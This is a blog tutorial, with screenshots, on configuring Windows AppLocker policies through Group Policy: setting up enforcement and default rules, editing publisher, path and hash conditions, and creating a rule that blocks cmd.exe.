![[Image: 18.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-tLFPdzUBf10/XD9Fq_eIqeI/AAAAAAAAcGw/okDey8ahhGQQBTx_0kvASTiy7Vk8KEgawCLcBGAs/s1600/18.png?w=687)
This Post is based on “Microsoft Windows – Applocker Policy” and this topic for System Administrator, defines the AppLocker rules for your application control policies and how to work with them.
Table of Content
Introduction to Applocker - What is applocker Policy?
- Who Should Use AppLocker?
- What can your rules be based upon?
Configure the Applocker to Allow/Deny Execution of an App- Configure Enforcement rule
- Create Default Rules
Modify Executable Default Rules to Allow an App
Modify Windows Installer Default Rules to Allow an App
Modify Script Default Rules to Allow an App
Creating New Rules to Block an APP
Introduction to Applocker
What is applocker Policy?
Windows Applocker is a function that was introduced in home windows 7 and windows server 2008 r2 as a method to restrict the usage of unwanted Programs. Windows AppLocker lets administrators control which executable files are denied or allowed to be run. With this policy, administrators are able to generate rules based on file names, publishers or file locations on unique identities of files and specify which users or groups can execute those applications.
What can your rules be based upon?
The AppLocker console is ordered into rule collections, which include executable files, scripts, Windows Installer files, packaged apps, and packaged app installers, and DLL files. These collections allow you to easily distinguish rules for different types of applications. The following table lists the file formats included in each rule collection.
![[Image: 0.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-3E4ar2tgu-U/XDtPjPTHnMI/AAAAAAAAcEE/kskZhmIYuPgPpcZCFxQKe_Qe0bdHFJPAACLcBGAs/s1600/0.png?w=687)
Who Should Use AppLocker?
AppLocker is worthy for organizations that have to accomplish any of the following jobs:- Check which applications are allowed to run inside the company network.
- Check which users are allowed to use the licensed program.
- Offer an audit log of what kind of applications clients were running.
- Prevent trendy users from installing software per user.
Configure the Applocker to Allow/Deny Execution of an App
In the Group Policy Object Editor at Computer Configuration > Windows Settings > Security Settings > Application Control Policies > AppLocker, the Windows AppLocker settings exist.
![[Image: 1.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-XwsO8CicXuI/XDtPjLYmI8I/AAAAAAAAcEI/pLb-oij8piM8KUzG1PEzMzvYdQO4p9B-wCLcBGAs/s1600/1.png?w=687)
Configure Enforcement Rule
Use the enforcement setting for each collection to configure to Enforce rules, rules are enforced for the rule collection and all events are audited.
![[Image: 2.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-lIoJWvn3hG0/XDtPmDGCo4I/AAAAAAAAcEs/YYMpjig250QM-aE8GgCRU65J7O5U-dTcQCLcBGAs/s1600/2.png?w=687)
- Select the Configured check box for the rule collection that you are editing, and then verify that Enforce rules are selected.
- Click OK.
![[Image: 3.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-aX7gvynvEyQ/XDtPoIq6rdI/AAAAAAAAcFE/lwtwEA0fLOw1dG3eS06n4Nfn32ubdo5QACLcBGAs/s1600/3.png?w=687)
Open the Advanced tab and enable the DLL rule collection.
![[Image: 4.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-xMZM_WsuhFU/XDtPof_C5XI/AAAAAAAAcFI/rYKZao8VrqU6tVCYDFiTcmteknxAqvMQgCLcBGAs/s1600/4.png?w=687)
Create Default Rules
AppLocker includes default rules for each rule collection. These rules are intended to help ensure that the files that are required for Windows to operate properly are allowed in an AppLocker rule collection.- Open the AppLocker console.
- Right-click the appropriate rule type for which you want to generate default rules automatically. You can automatically create executable rules, Windows Installer rules, script rules, and packaged application rules.
- Click Create Default Rules.
Executable Default Rule Types Include:- Allow members of the local Administrators group to run all apps.
- Allow members of the Everyone group to run apps that are located in the Windows folder.
- Allow members of the Everyone group to run apps that are located in the Program Files folder.
![[Image: 5.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-0bksszSHJEg/XDtPo2guPdI/AAAAAAAAcFM/8t9lJ8BTTEMNhxJm4i0U7Ldl8nYK9KKGQCLcBGAs/s1600/5.png?w=687)
Modify Executable Default Rules to Allow an App
A rule can be configured to use allow or deny actions:- ALLOW: You can specify which files are allowed to run in your environment, and for which users or groups of users.
- DENY: You can specify which files are not allowed to run in your environment, and for which users or groups of users.
Once you have configured default rules as done above, then you can modify it as per your requirement. For example, if you want to modify rule: “Allow members of the Everyone group to run apps that are located in the Program Files folder” for specific user or group to allow a specific program file execution, then go its property by making right click on that rule and follow below steps.
![[Image: 6.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-fX9hrGBWgOE/XDtPo-OKyyI/AAAAAAAAcFQ/iMerCh8iESc6Z9IMW_bArMmE8q-C6Ce0ACLcBGAs/s1600/6.png?w=687)
Select the file or folder path that this rule should affect. The asterisk (*) can be used as a wildcard in the rules of the path. For example, %ProgramFiles% \* indicates that all files and subfolders within that path.
![[Image: 7.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-VyIsdCCeuoQ/XDtPp3QX52I/AAAAAAAAcFY/PPy2OtWLWKI3s1P7aHBsK86jymox31cPACLcBGAs/s1600/7.png?w=687)
Rule conditions
Conditions of rules are criteria for AppLocker to identify the applications to which the rule applies. The three main rules are the publisher, path, and hash of the file.
Publisher
Identifies a digital signature- based application. The digital signature encloses information about the company (the publisher) who created the application.
Wildcard characters can be used as values in the publisher rule fields according to the following specifications:
Advantage:- Frequent updating is not required.
- You can apply different values within a certificate.
- You can use a single rule to allow a complete product suite.
- Within the publisher rule, you can use the asterisk (*) wildcard character to specify that any value should match.
Disadvantage:- While a single rule can be used to allow a complete product suite, all files in the suite must be uniformly signed.
Path
Identify an app in the computer file system or on the network by its location. For well-known paths such as Program Files and Windows, AppLocker uses custom path variables.
Advantages:- Many folders or a single file can be easily controlled.
- The asterisk (*) can be used as a wildcard in the rules of the path. For example, %ProgramFiles%\Microsoft Office\* indicates that all files and subfolders within the Microsoft Office folder will be affected by the rule.
Disadvantage:- It could be at risk if a rule that is organized to use a folder path holds subfolders that are writable by the local user.
File Hash
Represents the calculated cryptographic hash system of the identified file. For non-digitally signed files, file hash rules are safer than path rules.
Advantage:- Since each file has a unique hash, a file hash condition only applies to one file.
Disadvantage:- Whenever the file is updated (such as security updates or upgrades), the hash of the file changes. Consequently, you have to manually update the rules for file hash.
![[Image: 8.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-MJj9Z8uMyQU/XDtPpljX19I/AAAAAAAAcFU/c7pyLicMwBgVyni-2zhYXfiAp2cCbRZ8gCLcBGAs/s1600/8.png?w=687)
Modify Windows Installer Default Rules to Allow an App
Windows Installer Default Rule Types Include:- Allow members of the local Administrators group to run all Windows Installer files.
- Allow members of the Everyone group to run all digitally signed Windows Installer files.
- Allow members of the Everyone group to run all Windows Installer files that are located in the Windows\Installer folder.
Similarly, if you want to modify Windows Install default rules, then repeat above steps.
![[Image: 9.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-XgYbwVErD_s/XDtPp6NRWyI/AAAAAAAAcFc/nOH6_WQLjQYjs05Om4Y9JO9vx3Fyn6zfgCLcBGAs/s1600/9.png?w=687)
Wildcard characters can be used as values in the publisher rule fields according to the following specifications:
Publisher: The asterisk (*) character used by itself represents any publisher.
Product name: The asterisk (*) character used by itself represents any product name.
File name: Either the asterisk (*) or question mark (?) characters used by themselves represent any and all file names.
File version: The asterisk (*) character used by itself represents any file version. If you want to limit the file version to a specific version or as a starting point, you can state the file version and then use the following options to apply limits:- Exactly. The rule applies only to this version of the app
- And above. The rule applies to this version and all later versions.
- And Below. The rule applies to this version and all earlier versions.
![[Image: 10.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-vARYgkjFPHk/XDtPjFYG1rI/AAAAAAAAcEA/-AOIg5XbBjo9XYMEMvmLTagO8Iitu3M-gCLcBGAs/s1600/10.png?w=687)
Open Exceptions and then again select Publisher.
![[Image: 11.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-oMBkW5FlR6o/XDtPjkdcoPI/AAAAAAAAcEM/Qm7NH-OI_ecVo7RvLWtnyE3JujOZY-NVgCLcBGAs/s1600/11.png?w=687)
Modify Script Default Rules to Allow an App
Script Default Rule Types Include:- Allow members of the local Administrators group to run all scripts.
- Allow members of the Everyone group to run scripts that are located in the Program Files folder.
- Allow members of the Everyone group to run scripts that are located in the Windows folder.
Similarly, if you want to modify Script default rules, then repeat above steps.
![[Image: 12.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-kNMrGBTDcqs/XDtPkL-6GjI/AAAAAAAAcEQ/gGfAfoD071EAiEOwFEPuC_PCfExnhXIjACLcBGAs/s1600/12.png?w=687)
Select the file or folder path that this rule should affect.
![[Image: 13.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-hwAKGiORjdM/XDtPkMBW1gI/AAAAAAAAcEU/uF4KkDQJxeEqsAgtY45IHHmvPsU0fvd0ACLcBGAs/s1600/13.png?w=687)
Open Exceptions and then again select Publisher.
In this way, you can implement Default rules and modify them for Executable file, Script rules or Windows Installer files according to your situation.
![[Image: 14.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-_fnAF1KrjQI/XDtPkg8YYFI/AAAAAAAAcEY/g1VZ5je6chgdxce5XXI3UWW_99d61ud6wCLcBGAs/s1600/14.png?w=687)
Creating New Rules to Block an APP
If you want to make your own rule in order to allow or deny an action for any application, you can choose the options ” Create New Rule” below. Let’s say, I want to create a new Executable file rule to restrict command prompt execution for everyone.
![[Image: 16.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-Lm-qMvvOuG8/XDtPlCRq79I/AAAAAAAAcEc/QhHdoqU0eyQMLdLfo1t5PcfAbApyXMo8ACLcBGAs/s1600/16.png?w=687)
Then, you will get a wizard that helps you to create an Applocker rule, which will truly be based on the file attribute such as the file path and digital signature.
NOTE: Install the applications you want to create the rules for on this computer.
![[Image: 17.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-MiSx_IsLZzE/XDtPlO2k3eI/AAAAAAAAcEg/Y3wimMleAdUDS-Rz5ysr_moeGL373Y2AwCLcBGAs/s1600/17.png?w=687)
Now the action to use and the user or group that this rule should apply to. A deny action prevent affected file from running.
![[Image: 18.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-mRWAU0K_Ssg/XDtPlqr7cxI/AAAAAAAAcEk/F0_19x6ZiH8GeVYkZAAIrR_NmPlg_lqRwCLcBGAs/s1600/18.png?w=687)
Select the type of primary condition that you would like to create. Here we have chosen “Publisher” options.
![[Image: 19.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-yd63R4j4Yq8/XDtPmDwKNcI/AAAAAAAAcEo/EfYJkgQ2EtAIJ-hlMu-p6esKqy0Kq4PegCLcBGAs/s1600/19.png?w=687)
Browse for a signed file to use as a reference for the rule. Here we have browsed the cmd.exe and then click on next.
![[Image: 20.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-j70SXTWIPkw/XDtPmu2WXpI/AAAAAAAAcEw/cqYo4w0l77E49rr1XUrowWtbkFEKd7S4wCLcBGAs/s1600/20.png?w=687)
Choose the Publisher as an exception and then click Next.
![[Image: 21.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-HNquGhtAWFw/XDtPnIYqDeI/AAAAAAAAcE0/7YmTBFPqhKkstvSkXQVE5QazKpdJiIvwgCLcBGAs/s1600/21.png?w=687)
And finally, this will add your rule to restrict the cmd.exe.
![[Image: 23.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-3HXzOWtUbIQ/XDtPnJsvZDI/AAAAAAAAcE4/AlK6j01st9EpzRFCROqVvmSc6_d7V89UgCLcBGAs/s1600/23.png?w=687)
Set Application identity to Automatic mode:
Then navigate to “Application identity Property” through Computer Configuration > Policies > Windows Settings > Security Settings > System Services > Application identity.
Then enable the “Automatic” option as the service startup mode.
Now update the Group policy with the help of gpupdate command.
![[Image: 24.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-3W2BDaxPIsc/XDtPnh9NeZI/AAAAAAAAcE8/Hc85t4WOATUwB1yoHjneMRxtMIX-QRubACLcBGAs/s1600/24.png?w=687)
Now when you will try to open command prompt “cmd.exe” then you will get services restriction prompt as shown.
![[Image: 25.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-6di2xbNl4Lo/XDtPoFVtFfI/AAAAAAAAcFA/5GjCEuBskYck649snixj3VRmZqXaYWefgCLcBGAs/s1600/25.png?w=687)
Note: If you are configuring these rule on a single machine then it will take some time to impose the rule over the machine.
Reference: //docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/working-with-applocker-rules
|
|
|
|
|